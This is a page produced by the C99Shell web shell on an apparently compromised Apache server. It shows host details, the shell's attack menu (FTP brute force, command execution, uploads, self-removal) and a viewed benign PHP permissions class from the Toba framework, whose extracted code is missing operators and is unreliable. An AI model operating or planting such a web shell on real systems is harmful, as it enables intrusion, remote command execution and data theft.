!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/nucleo/lib/   drwxr-xr-x
Free 14.92 GB of 61.93 GB (24.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_derechos.php (2.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Permite hacer validaciones de permisos globales particulares sobre el usuario actual
 * @package Seguridad
 */
class toba_derechos
{
    static private 
$instancia;
    protected 
$derechos;
    
    
/**
     * @return toba_derechos
     */
    
static function instancia()
    {
        if (!isset(
self::$instancia)) {
            
self::$instancia = new toba_derechos();    
        }
        return 
self::$instancia;    
    }    
    
    private function 
__construct()
    {
        
$derechos toba::proyecto()->get_lista_permisos();
        
$this->derechos = array();
        foreach (
$derechos as $perm) {
            
$this->derechos[] = $perm['nombre'];
        }
        return 
$this->derechos;
    }
    
    
/**
     * Cambia la lista de permisos del usuario actual
     * @param array $derechos Array de indices permitidos
     */
    
function set_derechos($derechos)
    {
        
$this->derechos $derechos;    
    }

    
/**
     * Valida que el usuario actual tenga un permiso particular
     *
     * @param string $derecho Indice del permiso a validar
     * @param boolean $lanzar_excepcion Si el usuario no posee el permiso, se lanza una excepción, sino retorna falso
     * @throws toba_error_permisos
     */
    
function validar($derecho$lanzar_excepcion=true)
    {
        
//El usuario tiene el permiso
        
if ($this->chequear($derecho)) {
            return 
true;
        }
        
//No tiene el permiso, tratar de ver si el permiso existe y cuales son sus datos
        
$rs toba::proyecto()->get_descripcion_permiso($derecho);
        if     (empty(
$rs)) {
            throw new 
toba_error_def("El permiso '$derecho' no se encuentra definido en el sistema.");
        }
        if (! 
$lanzar_excepcion) {
            return 
false;
        } else {
            if (isset(
$rs['mensaje_particular'])) {
                throw new 
toba_error_permisos($rs['mensaje_particular']);
            } else {
                
$usuario toba::usuario()->get_id();
                
$descripcion = isset($rs['descripcion']) ? $rs['descripcion'] : $derecho;
                throw new 
toba_error_permisos("El usuario $usuario no posee el derecho '$descripcion'");
            }
        }
    }
    
    
/**
     * Chequea si el usuario actual tiene acceso a un derecho especifico
     *
     * @param string $derecho Indice del permiso a validar
     * @return boolean
     */    
    
function chequear($derecho)
    {
        return 
in_array($derecho$this->derechos);
    }
    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.6105 ]--